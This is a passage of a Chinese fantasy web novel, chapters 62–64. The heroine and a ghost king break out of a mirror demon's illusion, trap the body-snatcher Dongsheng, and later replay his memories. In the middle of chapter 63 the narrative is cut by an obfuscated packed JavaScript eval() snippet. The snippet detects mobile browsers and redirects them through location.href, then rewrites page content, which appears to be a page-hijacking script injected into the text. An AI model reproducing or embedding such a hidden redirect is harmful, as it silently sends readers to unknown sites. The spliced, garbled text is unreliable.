可惜后来的计划发展得不太顺利。 白耀十六岁时,东生想劫走他,带他去宫外换魂。可交手之时却出了岔子——自己多年来不曾杀妖剖丹,维持不住体内妖气与灵力的平衡。这具被侵蚀过度的身体,内息不稳,经脉阻塞,实力大打折扣。 到头来,东生劫人不成,自己反倒被打伤,只能另寻机会。 这具身体的自愈能力太糟糕了,他花了很长时间养伤,不敢相信自己已经衰弱到了如此地步。 这一世,他是真的想过当个普世意义上的好修士,不想再跟妖怪有所牵扯。 如今看来,踏入沼泽的人很难只靠自己的力量挣脱,在成功夺舍白曜之前,他还得继续找妖怪续命。 62. 第 62 章 萧唤月又做噩梦了。 在梦中,她与蜡黄皮的小鬼面面相觑。这个小鬼不知从哪搞来一顶纸皮花轿,说要娶她。 她气笑了。但心里居然没什么惧意,只觉得这一幕好生熟悉。 她不理那叽叽喳喳的小鬼,自顾自坐在地上,眺望远方。方才为了躲蜡皮鬼,她一个人在这条路上跑了很久,现在有点累。 天空一声惊雷,随后下起小雨。她仰头,任由雨滴砸在脸上。 她有些紧张,好像又有人挤进她梦里来了。 果不其然,一个陌生的,穿着鸦青色劲装的少年,出现在她面前。 对少年看上去约莫十八九岁,脸色苍白得吓人。他的衣服被雨打湿了,头发也湿了。明明身材不算太清瘦,但整个人看上去就是薄薄一片的既视感,像是被雪浸透的绢帛,连呼吸都带着寒意。 萧唤月觉得他不该穿这么薄就出门,至少应该加件披风。 这个莫名其妙的念头逗笑了自己,她想,梦是假的,雨是假的,怎么会冷。 少年也在端详她,眼中的情绪复杂难辨。 “找到你了。” * 原来这个看上去年纪轻轻的少年,大有身份。 顶着鬼王的名号,萧唤月不由得对他多了几分敬重。 理智告诉她,自己不应该和这只鬼牵扯太多,可......很奇怪,她就是没办法真正地疏远他。 在他身上,她总能找到一种诡异的亲切感。 言隐也是一样,他虽是出于任务才接近萧唤月,可他并不讨厌她。待在她身边,莫名感到安心。 明明是毫无瓜葛的两个人,却好像已经认识了很久。 东生失踪的这段时间,言隐始终陪在萧唤月身边。直到玉胥宗那个叫昭意的弟子出现,称她“灵性异常,根骨奇佳”。 不愿见好苗子被埋没,昭意邀请萧唤月上山修仙问道。 但她没忘了东升说过的话——里云宫不允许她踏入仙途。 于是她将自己的身世秘密托出,在前厅婉拒了昭意的邀请。 唉,她何尝不想修仙呢。仙人长寿,又有通天的本事,若她也做了修士......将来便有无穷无尽的逍遥时光,踏遍大好河山,锄强扶弱。 那样的日子,一定有趣极了。 她恹恹地往自己房间方向走,正想跟言隐吐两句苦水,抬眼一看,前方的景象惊得她呼吸都滞住。 言隐就在她房间外的空地上,掐着一个男人的脖子。从后者那一身黑还戴着面巾的低调装束来看,是东生没错了。 眼看着言隐是起了杀心,萧唤月想要喝止他。 然而她的上下嘴唇却像是粘住了一般张不开口,身体不受控制地停在原地。仿佛有另一道意志在体内苏醒,不愿让她去阻止言隐。 “啊。”言隐眼风一斜,看到了木桩子一样站在游廊下的她,“萧唤月?” 他松了手,有些惊慌地问:“你什么时候来的,怎么不吭声?” 这时萧唤月的身体控制权又回到自己手里,仿佛刚才只是舌头抽筋才说不出话来。 她慢慢走过去,警惕地看着东生。“我刚来。” 言隐解释道:“这个人好像是小偷,他想进你房间,所以我才逮住他......” “不是小偷,是我认识的人。” “哦,那就......” 萧唤月的右手无意识揪住裙摆,指关节发白,“要不杀了吧。” 言隐有些错愕:“杀了?” “不,不是这个意思。但......”萧唤月的呼吸有些急促,她不知道自己怎么了,居然会脱口而出那种话,但此时她看着东生那张被面巾覆住的脸,心里莫名觉得不舒服。 东生身上有血,明显受了伤。然而萧唤月现在没有心思过问他的伤势,也不想跟他说话。 “你要杀我?”东生揪住她刚才那句话,好像难以置信似的,朝她走了一步,“为什么?” “......我说错话了。” “那你原本想说什么?” “不知道。”萧唤月恼火道,“你别问了。” “......为什么莫名其妙发脾气?我受了伤,只是想回来看你一眼。”东生看向言隐,“这人以为我是小偷,要来拿我。但你知道,我不会偷你东西。” 东生现在也有些心慌。在他不知道的时候似乎发生了许多事,萧唤月变得跟以前不一样了。 不将她安置在身边的话,果然还是会出意外。这才几个月,她就结识了新朋友,而且这位朋友明显不是善茬。 东生开始思考,要不带萧唤月离开这个地方吧? 反正夺舍白曜也失败了,正好需要休养几年,这段时间就把萧唤月栓在身边,既能满足她对外界的好奇心,又能避免她跟一些莫名其妙的人交朋友。 此刻东生忽然察觉到了自己和白江的相似之处——他对萧唤月有一种莫名其妙的控制欲,希望她只在自己规定的范围内活动。 但这是不可能的,萧唤月有手有脚,而且似乎对未知的事情有种天然的向往。 东生认为站在她身边的那个“新朋友”便是诱因。他的身手明显不是普通人,甚至在自己之上,他究竟是谁? 暗流涌动间,东生向萧唤月伸出一只手,意在以退为进:“如果你想......” 话还没说完,萧唤月像是躲老鼠一样连连后退,避开了他的手。这完全是出于本能的反应,连她自己都有点懵。言隐也横臂挡在萧唤月身前,不知为何,他下意识想让东生离她远一点。 似乎被两人这防御性的动作逗乐,东生冷笑了一声:“我倒不知道,我还有这样让人害怕的本事。” 很突然的,东生朝着言隐发起了攻击。亢奋之中他忘记了身上伤口的存在,但很神奇的是伤口并没有撕裂流血,他展现出了前所未有的高水平战力,妖法符咒封印术混着来。 从前为了隐藏身份,他很少使出全力。毕竟一用妖法别人就能看出他是个邪修,一用封印术别人就能看出他与里云宫颇有渊源,相当于行走的身份证。 现在他全然不顾忌这些了,唯一的念头就是要让面前的人去死。就算言隐知道他是个邪修又如何,死人怎么告密? 东生招招狠戾不留情面,磅礴妖力随掌风而出,这种程度的攻击力本不是这具千疮百孔的身体所能使出来的,但他并没有注意到。 言隐被迫接招,完全看不出对手师承何方。 东生指尖弹出一条发光的细丝,这是一种针对妖邪的封印术,可惜太鸡肋,只能对付小虾米。 在言隐面前这种级别的封印术不管用,可他并不知道,反而如临大敌地盯着那丝线,琢磨着那会不会是某种杀招。 “......里云宫的封印术?”萧唤月有些疑惑。 东生一滞,分神望向她:“你怎么知道?” 萧唤月呆住。是啊......她怎么会知道?但她就是认出来了,那起手动作她很熟悉,好像自己也曾这么做过一样。 趁东生这一晃神,言隐扯掉了他的面巾。 东生急忙抬臂,用手挡住脸。这张脸上有妖化的痕迹,易容术又不能维持太久,所以他习惯了以黑巾覆面,能避免许多不必要的麻烦。 东生恶狠狠地瞪向对面两人,却没在他们脸上看到嫌恶的神色。 并没有妖化的痕迹。他们看到的是一张白净无须,玉面小郎君的脸。 言隐:“我好像在哪见过他。 萧唤月:“我也是。” 言隐:“跟你长得好像。” 萧唤月:“最多五分像吧。” 言隐:“确实。你比他好看的多。” 一种比恐慌更严重的情绪攫住了东生。 自己的秘密被公之于众了——这秘密不是指自己丑陋异化的脸,而是指另一件事...... 为什么他一直没发现呢?这具身体上所有的伤口都消失了,因为这不是他原本的身体,而是他梦寐以求的,里云宫少主的身体。 许许多多被忽略的细节忽然串联到了一起。他时常会生出“这场景似曾相识”的错觉,脑中的记忆总是混乱不堪。 稍微回想一下,会发现时间流逝的速度也快得不正常。一年又一年过去,可婴儿萧唤月被他扔在萧府门口却仿佛是昨天才发生的事。 之前发生过的一切,究竟是自己的切身体验,还是记忆欺骗了自己,把已经经历过的事又重新回忆了一遍? 不,不。东生试着冷静下来。 刚才他想带萧唤月走,她本不该后退的......记忆中她没有躲开他。 可她刚才后退了,说明这不只是单纯的记忆复刻。 这里的萧府是假的,他身上的伤口是假的,连时间都是假的。可萧唤月却是真的! 做梦的人通常不会意识到自己在做梦,可一旦察觉到梦境中的破绽,便会猛然清醒过来。 东生现在就是如此。摸到了虚妄与真实的边界线,事件的前因后果便在他脑中忽然变得清晰起来。 这是......由他们三人记忆搭建而成的幻境! 他现在顶着白曜的壳子,按理来说镜妖读取不了他的记忆。除非萧唤月骗了他,将他的肉身也带进来了。 萧唤月为什么要这么做? 东生的心脏狂跳起来,后知后觉地发现自己踏入了她的陷阱。 他看向萧唤月,在她脸上看到了与自己如出一辙的神色变化,先是疑惑,再是了然。 “白曜。”她嘴里吐出的话仿佛宣判了他的死刑。“你也是白曜?” 脚下的地面突然有了绸缎的质地,萧唤月踉跄着踩到某块凸起的石砖,那石料竟像水囊般鼓胀起来。 她伸手想借助墙面稳住身形,墙体却也变得软塌塌,像刚糊好的湿泥。她的五指轻易陷进冰凉的浆质里,触感有点恶心,像被牛舔了一口。 屋顶的瓦片开始像鱼鳞般翻卷,露出底下血红色的椽木。 幻境开始崩塌了。这个虚构的空间只是他们意识的投射,当三人都清醒过来,这个地方自然再维持不住它的假象。 在旁边沉默了很久的言隐,忽然吸了吸鼻子,转身抱住萧唤月。 她也顺势搂住了他,两人在飘摇的幻境中相拥,像两株共生的植物,在风沙中下意识依靠彼此。 东生远远地地看着,目光复杂。 他第一次真正对萧唤月起了杀心。如果在幻境中杀掉这两个人,他的秘密就能保守住,没人会知道他夺舍了白曜...... 萧唤月下巴垫在言隐的肩上,一只手安抚性地在他的背后拍了拍。 但同时她也并没有忘了东生的存在,该说不愧是一个娘胎出来的兄妹吗,遥遥一个对视,她便看懂了东生的眼神。 东生动了杀人灭口的心思。可惜,她不会给他这个机会。 萧唤月念动口诀,手腕上的传念绳即刻显形。拉动三次,就是让路承蕊救她们出去的信号。 守在岸边的路承蕊感知到传念绳的颤动,明白自己捞人的时候到了。 大师姐的救援十分给力,颇有当年八万春长老的风范。萧唤月感觉自己身子一轻,仿佛被一双无形的手抓起来扔向了万米高空。 镜妖不甘地吐出自己的猎物。 消化食物到一半被人硬生生打吐的感觉可不好受,可受封印术所制,镜妖闹不出太大的动静,只能晃动 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白曜那么喜欢当校长,这一世正好遂了心愿......说起来,这一世的白曜并没有作什么大妖,反而也是受害人。东生连另一个自己都不肯放过,抢夺人家身体妄图取而代之,多缺德呢。 萧唤月忽然想到什么,拉开乾坤袋往里看了看。东生的尸体已经彻底消失不见,作为构建幻境的养料,那具尸体已被镜妖吞食了。 镜妖在读取东生的记忆时,竟顺带牵扯出了她和言隐这两个当事人的前尘往事,解锁了他们上一世的记忆,算是一笔意外收获。 三人在路承蕊面前齐齐保持沉默,他们难得达成了共识,不约而同地觉得,关于前世的事没必要让路承蕊知道。 “呃,现在怎么说?”路承蕊不知道之前在潭中发生了什么,此时便不敢贸然出手。左看右看,居然没一个人开口说话,让她很是摸不着头脑。 “师姐,现在白曜身体里的那个,是妖族同党。”言隐眼中涌现杀意,手中长剑化现,“绑了他,扔进噬魂阵里。” 言隐的意思,甚至不必改阵纹,就用原装原样的噬魂阵,让东生的魂魄彻底消失。 能让这道BUG活到现在已经是系统和老天齐齐打盹的结果,东生本就不该存在于这个世界。 而现在,消杀BUG的时候到了。 路承蕊犹疑道:“噬魂阵?那阵法太邪性,要不还是先回玉胥宗,或者里云宫,让长老们来处理这事。” “迟则生变。他的身份我们已经弄清楚了,没必要手下留情。”言隐冷冷道,“师姐不用担心,他的因果我承受得起。” 他是鬼,不是人。在冥界泡了这么多年,手上血债岂止一桩?况且在他眼里,杀东生算是积德。 “我还是觉得有点危险......”路承蕊不放心,“师弟,你是从哪里习得此术?” “路师姐忘了吗,在拜入玉胥宗之前我可是无门无派的散修,走南闯北,自然什么都学。” 萧唤月轻轻握住路承蕊的手腕:“师姐,我们与玉胥宗是站在同一边的。就算有秘密,也绝对是无伤大雅的秘密。” 那头言隐和东生已经打起来。念及白曜的壳子不能有大损毁,言隐没下死手,目的只是为了制住他。 倒是东生的打法大开大合,像疯了一样故意把自己要害往剑刃上凑,逼得言隐不得不后退。 萧唤月忧心忡忡地看了一会儿,察出言隐脸上的不耐之色越发明显,有点担心他一时气性上头把东生连同这具壳子一起砍了。 东生身上见血越来越多,可他竟然在癫狂大笑,仿佛觉得畅快至极。他已经明白过来今天就是这三人给自己下的套。要是在这里杀掉他们,秘密或许就能守住。 可是......他不得不承认,打倒一个都困难,何况三个。事情似乎已经陷入僵局,他苦心经营了这么久的计划,就要毁于一旦。 光脚的不怕穿鞋的,东生此刻已然没了顾忌,只攻不守,看上去是死也不想把这具壳子还给白曜。 他心中的妒火从没有消失过,嫉妒妹妹,嫉妒昭意,嫉妒自己。 路承蕊和萧唤月一前一后地加入战局,连剑都没拿出来——就怕一个不小心把东生胳膊削下来,到时白曜可要遭大罪。 好歹是三对一,面对疯子虽然不得不束手束脚一些,但优势依然在她们这边。 稍微耗费了一些时间,东生最后依旧被她们制住,一条淡金色的灵力锁自下而上将他捆了个严严实实。 路承蕊惊讶道:“师妹什么时候学习了封印术?” 萧唤月面不改色:“之前找白曜学过两手。” 忽然联想到小师妹与白家的关系,路承蕊适时闭了嘴。这对异姓兄妹之间的关系似乎没她想象中那么生疏,不过小师妹看上去脸色不太好,还是不要再追问人家隐私了。 其实萧唤月这两手不是跟白曜学的,只不过前世记忆觉醒,白月会的她自然也会了。 言隐利落地布好阵法,将捆成粽子的东生扔了进去。 “萧唤月,你会封印术,过来助我完善阵法。”言隐对着她招了招手,又对路承蕊道,“师姐你走开些,我怕波及到你,阵法中没有注入你的灵力,它不认人。” 听起来有点道理。路承蕊叮嘱了两句注意安全,走到远处观察情况。 萧唤月不明所以地走过去:“我该怎么做?” “支开路承蕊的借口罢了。” 萧唤月不解:“支开她做什么。” “......我是在想。” “嗯?” “他就要死了,如果你还有什么话想跟他说的话,就趁现在。”言隐偏过头去,“遗言时间。” 63. 第 63 章 “没什么可说的。”东生和萧唤月几乎是同时开口。 东生冷笑了一声,又道:“落在你们手里,只怪我从前不够心狠手辣。萧唤月,你一出生,我就该掐死你的。” “......为什么这么恨我。”萧唤月似乎是真心实意地感到疑惑。“两世都没想过要与我好好相处么。” “我们之前难道不算好好相处?我都准备要放过你了,是你咬着我不放。” “那没办法,做过的坏事总不能一笔勾销。”萧唤月耸了耸肩,“虽然我们有血缘关系,但你也知道,我对你感情不深,自然没可能网开一面。” “嗯。”东生无意义地附和,“确实不深。” “最后一件事,还是告诉你吧。” “......什么。” “我不是你妹妹。” “你当然不是。” “不,我的意思是,你妹妹并没有存在过。”萧唤月斟酌着字句,“或者说,她出生前就已经死了。我是个外来者,占据了她的身体,才得以见一眼这个世界。” 东生的瞳孔极小幅度的震颤了一下——她夺舍了一个死胎? 这种事情可能么? 可是,事到如今他没有办法去验明萧唤月话中的真假。瞳孔的光亮慢慢熄灭,他又恢复到那副无所谓的等死模样,无精打采地嗯了一声。 不,不是的。言隐突然出声反驳,你不是占据了她的身体。 原主根本没存在过,那具身体是因为她的到来才有了心跳。正因为命中注定她会穿越到这个世界,所以书中才有了白月这个角色。 然而事关穿书系统,话到嘴边言隐却说不出来,只收获了脑中一长串的警报声。 他在心里怒骂系统:“你什么时候滚?” 系统:【现在就可以解绑了,宿主。】 “哈?” 系统:【你的任务已经完成了。】 言隐被这从天而降的好消息砸了个懵:“完成了?什么时候?” 系统:【攻略对象的前世记忆苏醒的时候。】 “你怎么当时不播报?” 系统:【播报过。】 幻境中白月死在他怀里,前世今生,两道系统播报音在那一刹那重合:【恭喜宿主,攻略对象好感度数值达到一百,任务完成,奖励积分已发放至对应页面,可按需兑换物品。】 其实这算作弊,继承了上辈子的好感度,攻略进度条直接拉满。 但考虑到这并非宿主主观意愿上的行为,以及在进入幻境之前宿主的攻略进度就已经达到百分之八十九,经主系统判定,溢出的好感度不予扣除,作为系统未及时消杀BUG的补偿。 言隐:“那我对她的好感度是多......算了。” 系统:【一百。】 言隐:“我就知道。” 系统:【在商城中消耗完所有奖励积分即可与系统解绑。打开面板,最底部的那两个按钮,任选其一,视为清空积分。或者你也可以选择兑换物品,兑换结束后剩余积分返还系统。】 此时言隐一心想着要与系统解绑,点开商城一目十行地扫了一遍,这个不错,换,那个也不错,换。 他的积分多到可以把陈列架上所有东西都采购个遍,“兑换成功”提示音不绝于耳,算是狠狠体验了一把扫货的感觉。不过买的最多的还是灵芝,以防将来萧唤月闯荡江湖时缺胳膊少腿。 迅速清空积分,解绑系统,言隐深吸一口气,对着萧唤月说出了有关系统和穿书的所有事,倒豆子一般,将前因后果解释得清清楚楚。 没有避着东生,因为他觉得死人可以保守好秘密。 他有点紧张地扳过萧唤月的肩膀:“之前不是故意瞒你。” “哦......” “哦是什么意思啊?没生气吧,萧唤月,你现在表情很奇怪诶。” “其实跟我猜得差不多......系统、奖励、任务什么的。”萧唤月坦然道,“不过穿书这点我没猜到。” 自己居然是书中人,多少还是有点被震惊到。萧唤月目光有些放空,不禁思索,自己的人生经历投映到其他世界居然只是几页纸么? “这不重要,你我都是有血有肉活生生的人。唉,也不是,我应该不算活人......总之我的意思你明白就行。”言隐盯着她,“现在你知道了,没有你,就没有白月。所以不能算是你夺舍她,那本就是这个世界为你准备的位置。” 绕了这么一大圈原来是想要安慰她。萧唤月有点感动,想正儿八经道句感谢,可话到临头居然觉得太肉麻。 怪了,以前她可不是这么别扭的人,此刻看着言隐目光炯炯的样子,她眼睛都不知道该往哪里瞟,对视很怪,偏头不看他的话也很怪。 面上飞霞,她刚要说些什么来缓解气氛,却见言隐倒吸一口气:“坏了。” 她也跟着提气,紧张道:“什么坏了?” “白曜的魂魄还在你体内,他岂不是全听见全看见了?前世的事情他知不知道无所谓,但系统的事......” 萧唤月冷静道:“没关系,他说了也没人信,信了也没人管。实在不行给他上禁言咒。” 被迫接收了太多信息的孤魂白曜终于被人想起,他一直在萧唤月的体内没有离开。但短时间内见证了太多事情的发生,他也有些麻木了。 禁言咒就禁言咒吧。白曜想,反正那些事情他也没准备说出去。 此时的东生比白曜还要麻木,毕竟他人都被绑进噬魂阵了。跟生死相比,再大的事都是小事。 面前的人是不是自己的妹妹有什么重要,白月是她萧唤月是她,跟自己较劲了两辈子的人也是她。 唯一有点感慨的是,那个命师的预言好像挺准的。他们兄妹俩确实命格犯冲......要是彼此之间不认识,一辈子不见面就好了。 回忆起自己不算幸福的一生,东生没什么想要交代的遗言,更没有什么遗物。对于这个世界而言他太多余了,所有的挣扎在命运面前显得如此可笑。 但是...... 他低头看了看自己在打斗中被割裂的衣袖,上面绣着精巧的花纹,是今天特地选的一身,因为想要在路承蕊面前穿扮得好看点。 重来一世,他说不清自己对于这个曾经爱而不得的师姐是什么感受。说爱好像也没有多爱,他并没有觉得非要跟这个人在一起不可,只是看到她,下意识还是想要让自己显得体面一点。 对了。方才那个叫言隐的小子胡言乱语了一通,说自己在书里是个什么,炮灰男配,而路承蕊和昭意才是一对。 东生忽然有些不甘心。他自认天赋不在昭意之下,若当初没有走火入魔损了根基,那他是不是也可以...... “......好了,已经磨蹭了太久。”言隐低头看着他,“没有遗言的话,就抓紧时间去死吧。” “萧唤月你离远些,我要启动阵法了。”言隐转头提醒道。 “师姐!”东生大吼一声。 这一嗓子动用了内力,声浪传过山头,惊飞一片鸟雀。 远处的路承蕊被吓了一跳,音色在风中被撕扯得变了形,她误以为是言隐在叫自己,连忙回身来到阵前,急道:“发生什么事了?” 难道是凶手逃逸? 然而打眼一看,凶手依然被捆的严严实实,跪坐在阵法中央,还有力气瞪自己。 东生又道:“师姐。” 路承蕊跟他对上目光,迟疑片刻,指了指自己:“你不会是在叫我吧?” “是。” 路承蕊不再回话,心道这人死到临头,精神好像有些不正常了。 “你别跟昭意在一起。”东生说。 萧唤月啧了一声,人家郎才女貌轮得到你这妖怪来反对......可吐槽的话还没说出口,看到东生那副倔样她又想叹气。算了算了,对将死之人多点宽容吧。 “他妖气入体,胡言乱语罢了,师姐不要放在心上。” 萧唤月拉着路承蕊走到一边,看着言隐启动噬魂阵,心中忽地有些酸涩。 这个人马上就要消失了,也许应该跟他再说两句话的,但又有什么可说的呢。 东生被噬魂阵锁定,周身显现出淡灰色的光芒。他的魂魄在躯壳中不安地挣扎,却逃不出这天罗地网。 瞳孔涣散前他最后看了一眼萧唤月。语言在这种关头显得格外贫瘠,他什么话都说不出来,最终只是叹了口气。 反正,两辈子都输给她了。 目光已经无法聚焦,东生感受到蚀骨般的疼痛,那是自己的灵魂在被阵法吞食。他咳出一口血,慢慢地咧开嘴角,露出一个比哭还难看的微笑。 言隐有些疑惑地看着东生,不懂这人是在干什么,难道死前想装一把洒脱?下一秒却见东生转头面向自己,依然挂着那瘆人的笑意,张嘴道: “言隐,你不是人,你是......是......” 不是东生故意结巴,而是舌头上那道咒言起了作用。这道禁言咒束缚了他,若强行打破,执意要说出言隐身份,便得承受代价。 他想起言隐说过,违背此咒的后果是肠穿肚烂,七窍流血,死后魂魄不入轮回。 不入轮回,总比彻底消失来得好。 “是......鬼。”最后那个字的音调极细极轻,几乎是从嗓子眼儿里挤出来的。但无论声量多轻,总算是把这个字说出口了。 话音落地的瞬间,东生的眼中淌下两行血泪,腹部像是被无形刀刃割开了一个大口子,鲜血涌流而出,染红了衣裳。 路承蕊傻眼:“......他怎么了?” 萧唤月:“被自己修炼的邪功反噬了吧。” 实际上,她作为知情者,当下就明白过来是禁言咒起了作用,万分庆幸师姐没有将那“鬼”字听进耳里。以路承蕊的心大程度,说不定以为东生那句“不是人”只是针对言隐的侮辱性谩骂,而非事实陈述。 到最后噬魂阵也没派上用场——白曜已经成了一具空壳,东生借禁言咒的效力让自己的魂魄逃逸了法阵范围,去往深不见底的冥界。 言隐被这突如其来的变故搞得怔了一瞬,随后一股火直窜到天灵盖:布噬魂阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224275|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是很费心力的,东生死到临头还不忘耍心思,竟然让他白忙活一场! 要不是路承蕊还在这儿,言隐真想立即回到冥界,捉东生下油锅! 忍着火气,言隐将白曜的身体拖出法阵,掰了块灵芝,强行给他塞进嘴里。 “肠穿肚烂”可不是个形容词,白曜的伤势远比看上去要重得多,这种时候只能上神药才能救他一命。 接下来的事便简单了。 白曜魂魄自归其位,在三人的簇拥下睁开眼睛,久违地,他再次感受到了疼痛。 他难以自抑地“嘶”了一声,但并不因这伤势而感到恼怒,劫后余生的喜悦大过一切,腹部撕裂般的疼痛倒让他有了“活着”的实感。 他挣扎着站起身来,靠在树干上。“多谢。” 虽然没有指明是在谢谁,但言隐很自觉地邀功:“哼,是该谢我。”浪费了他一小块灵芝。 言隐心里烦躁极了,一肚子的话想要与萧唤月单独说,思考着该怎么把路承蕊和白曜打发走,却见白曜扔了柄长枪过来。 他接住那枪,又丢回去:“扔给我干什么?我不会帮你拿的。” “......不是让你帮我拿。”白曜咬牙把枪塞回他手里,“是作为答谢,送给你。” “这不是你本命武器吗?”言隐有些吃惊,掂量了一下手中的蓄风枪,再三确认,“喂,你不是开玩笑吧。” “谁会拿这种事情开玩笑,说送你就送你了,不要的话还我。” “不还。” “......你是不是更习惯用剑?” “你什么意思。”言隐狐疑道,“我习惯用剑,但又不是不会用枪。怎么,话刚出口你就反悔了,想把它要回去?” 白曜额角上的青筋跳了两跳:“你有处置它的权利,如果你用不习惯,可以转手送人,我没意见。” “我有病啊,把好东西送给别人。”言隐嘟囔完,眼神一直,“不对。” 白曜:“嗯?” “可以送给萧唤月。”言隐想起来,萧唤月上辈子好像就使的这把枪,她用起来想必会很顺手,至少比他顺手。 白曜移开目光:“随你。” 萧唤月弱弱插嘴:“是不是有点太大方了......” “算不上。”白曜看着她,“我能给的不多,只有这些而已。萧唤月,希望以后我们别再见面了。” “大费周章帮你夺回身体,居然说这么无情的话。”自从前世记忆回归,萧唤月感觉自己豁达了许多,面对白曜时心中那些别扭的情绪全都消失不见,甚至还能用开玩笑的语气跟他对话了。 不过她立马又补充道:“好吧,其实我也是这么想的,以后别再见面最好。你不会走老路吧?” “不走老路。”白曜露出一个很浅的笑,“那条路不好走,我从另一边回宫。” “好。” “你......要回里云宫看看么?” “不。” “宫里风景的确是不如宫外。”白曜盯着她,“那......我走了。” 萧唤月嗯了一声:“不留你。” “幻境里的事我不会说出去。” “那最好。” “你可以让言隐给我下禁言咒。” “......不用。”这种离谱的事,除了当事人以外,应该没人会信。 路承蕊好奇:“幻境里发生了什么,我能听么?” “身中幻术,出了些丑相。”萧唤月讨乖道,“还是不说与师姐听了。” 言隐接口道:“路师姐,麻烦你送伤员回里云宫。萧唤月不太方便去那里,需你代劳。” “啊,没问题。” 白曜:“我一个人可以。” 言隐:“不可以。你这么弱,到时候出了问题怎么办。” 白曜的抗议被轻轻压下。 经历了那样多的事,道别本不该这么轻飘飘。但白曜自认在萧唤月心中并不占多重的份量,这种时候,除了一声客套的“再见”之外,还能说什么呢。 暮色并非均匀降临,而是被潭水撕成絮状物。橙红色的光斑倒映在萧唤月脸上,显出几分落日余晖的苍凉来。 她面无表情地看着白曜的背影,像是要与他告别一般,忽然举起手来挥了挥。 心中暗自许下愿望,如果还有下辈子,她要当独生女。 “对了。”看着二人背影远去后,萧唤月转头问言隐,“有件事忘了问你。” “什么?” “上辈子,我死之后,你是不是亲我了?” “......没有啊。” “真的?”她摸了摸自己的嘴唇,“那个时候我明明感觉到......” “真的没有。” “好吧。” “......假的。” “到底真的假的?” 言隐耳尖爬上一抹可疑的红:“以后有的是机会变假为真,干嘛纠结这个。” “不是,我真的想知道啊!” 他扭过头去,半晌,弱弱的:“......亲了。” 64. 第 64 章 关于东生的去处,言隐向萧唤月作了一个简单的解释。 “轮回之事不归我管,我管的是那些不入轮回的游魂恶鬼。而违背禁言咒的代价就是魂魄为我所用,所以......东生入不了轮回。” “只能在鬼域游荡?” “差不多。” 不过说到底,东生魂魄的归属权在言隐手上,他如果选择放过东生,后者不是没有投胎的机会。 但按照东生生前做的孽,就算投胎也投不了什么好人家,大概率投成鸡羊牛马。还不如留在鬼域里,下油锅做苦力,洗清了业障......再去投胎不迟。 最坏的情况是,在洗清业障之前,东生就因执念太重而迷失在鬼域中,魂魄消散于天地之间。 言隐:“哼。误打误撞,算是给他机会了吧,如果他能消解执念,我可以放他走。” 萧唤月感慨:“他虽然知道你是鬼,却不知你是鬼王,大概以为那句魂魄为你所用是在吹牛,没想到踢到铁板。” 嘴上说着要让东生自生自灭,但二人还是到鬼域去视察了一番。 那个狡猾的、善妒的、心思复杂的男人,现在变成了一坨面团似的幽魂,在鬼城处处碰壁。他没有自己的坟,又是新来的,受原住民排挤,只能在边缘区域游荡。 但他现在脾气好了很多,或者说根本没有脾气。那些多余的情绪随着肉身一起被剥离了,甚至在看到萧唤月与言隐时,他也没有太大的反应。 那坨“面团”在萧唤月面前咕噜了两声。 她问言隐:“他在说话?” “他让我们滚。” “......” 好吧。萧唤月心道,是自己想多了。 东生并不是没有反应,只是她没看懂这团魂儿的意思。 言隐:“看来还得继续磨磨性子。” 萧唤月:“十年后再来看看他。” “对了,这个禁言咒是我在上任鬼王宫殿里的古籍里学来的,效力好像有点太强了。我才发现......”言隐慢慢道,“他的魂魄跟我绑定之后,无需镜妖,我也能直接提取到他的记忆,就像从兜里掏东西一样简单。” “但上辈子的事我们都知道了,再看一遍好像也没必要。” “视角不同嘛,要不要看看他的第一视角?像看电影一样。”言隐脸上露出玩味的笑意,“......毕竟他现在没有隐私权,想看就看咯。” 在言隐看来,上辈子白月的死,东生得负主要责任,如果不是他带领妖族攻入了继位大典,白月怎么会死? 言隐能勉强不迁怒白曜,但对于东生实在是给不了好脸色,如今有添堵的机会,他绝不会放过。 言隐带着萧唤月来到老鬼王空旷的宫殿,这里够大,看电影正好。 面团魂魄起到一个投影仪的作用,可以将东生记忆中的画面投映到墙上,清晰度居然很可以。 东生被迫听从言隐的指令,眼看自己就要被剖析个彻底,突然有点后悔自己没有死在噬魂阵里。 他的一生被浓缩成一部电影的时长。 第一次以这个视角回顾自己的人生,东生突然发现,数年光阴流逝,能让自己记忆深刻的画面实在很少。 不知道算不算白活。 言隐可没有那么多感慨,一边嗑瓜子,一边盯着屏幕解说点评—— “他居然悄悄瞪昭意,哈哈。” “唉,嫉妒心。” “怎么擦剑都擦不好?啊......原来是在这里发现了身世的秘密。” “这个露叶连长老嘴巴漏勺一样的呢。” 言隐以一种看乐子的心态观看全程,觉得这简直是对东生的羞辱仪式,太棒了。 萧唤月的眉头却越皱越紧。 “等等,这里,停一下。” 屏幕中,时间轴已经推进到东生改名为白曜之后。 他在修行中走火入魔损了根基,消沉了很长一段时间。归虚长老见他可怜,偶尔会召他去悴平洞做些杂活,顺便提点他两句。 萧唤月本以为这归虚长老是完全不问世事的性子,没想到还有这么热心的一面,不过观察下来,她似乎只对东生另眼相看。 萧唤月指着屏幕:“长老居然把东生一个人留在悴平洞里,让他打扫卫生。” 言隐嗤笑一声,犀利地指出:“很明显,露叶连长老错信了他,你看,他又开始做贼似的到处翻书。吞噬妖丹修炼邪功的法子,就是他从这儿的禁书里学来的。” 屏幕中的东生偷感很重,争分夺秒地翻书学习,时不时往洞口瞥一眼,生怕露叶连杀个回马枪。 “不知道我是不是想多了......”萧唤月脑中浮现出大逆不道的奇怪念头——露叶连长老,好像是故意的。 这念头一旦扎根就难以拔除,萧唤月始终想着这事,整整半天都在走神。奈何露叶连长老早已仙逝,很多事情已经没法问出结果。 东生更是无意追查,他都成魂儿了,往后日子差不多也就这样,说不定哪天就彻底消失。 况且,他心底明白,就算真的是露叶连在旁边推波助澜,最终做出决定的却是自己。若失去记忆重来一次,他还是会做出相同的选择。 * 